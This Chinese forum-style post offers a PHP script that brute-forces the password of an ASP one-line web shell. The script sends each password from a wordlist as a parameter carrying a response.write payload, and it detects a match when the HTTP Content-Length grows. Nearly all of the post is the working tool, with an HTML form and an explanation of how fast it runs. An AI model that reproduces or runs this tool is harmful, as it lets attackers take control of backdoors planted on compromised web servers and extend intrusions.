看到这里,http://www.t00ls.net/viewthread.php?tid=13764&extra=&page=1
就写了个php的, 说明:不是用获取页面内容,再判断关键字的方法。那样在一个大量数据的网页可能会很慢。 这里用的是判断http头的Content-Length的方法,如果密码匹配成功,则response.write就会成功,页面内容就比原来多了 思路就是这样! php不能多线程,速度大概是1000个密码15-20秒
<?php
/*
* Created on 2010-11-4
*/
set_time_limit(0);
$url = $_GET['url'];
$passfile = $_GET['upfile'];
$keyword = "xxoo"; //关键字,改不改一样,因为判断的不是内容,而是http返回的内容长度
$c_l = get_headers($url,1); //获得正常http头的内容长度
$normal_c_l = $c_l['Content-Length'];
if($url && $passfile && $keyword) {
$fp = fopen($passfile,r);
while(!feof($fp)) {
$pass = trim(fgets($fp));
$all_url=$url."?".$pass."=response.write(".'"'.$keyword.'")';
$head_msg = get_headers($all_url,1);
if($head_msg['Content-Length'] >$normal_c_l) { //内容长度大于正常的就是keyword写入了,密码就出来咯
echo "<font color=red>破解成功,密码是:$pass</font>";
exit();
}
}
fclose($fp);
}
?>
<html>
<head>
<title>asp一句话暴力破解</title>
</head>
<body>
<form action='' method="get">
<table>
<tr>
<td>一句话地址:</td>
<td><input type="text" name="url" value="http://127.0.0.1:81/2.asp" /></td>
</tr>
<tr>
<td>密码文件:</td>
<td><input name="upfile" type="file"></td>
</tr>
</table>
<input type="submit" name="submit" value="提交"/>
</form>
<p>说明:不是用获取页面内容,再判断关键字的方法。那样在一个大量数据的网页可能会很慢。</p>
<p>这里用的是判断http头的Content-Length的方法,如果密码匹配成功,则response.write就会成功,页面内容就比原来多了</p>
<p>思路就是这样!</p>
<p>php不能多线程,速度大概是1000个密码15-20秒</p>
<body>
</html>
|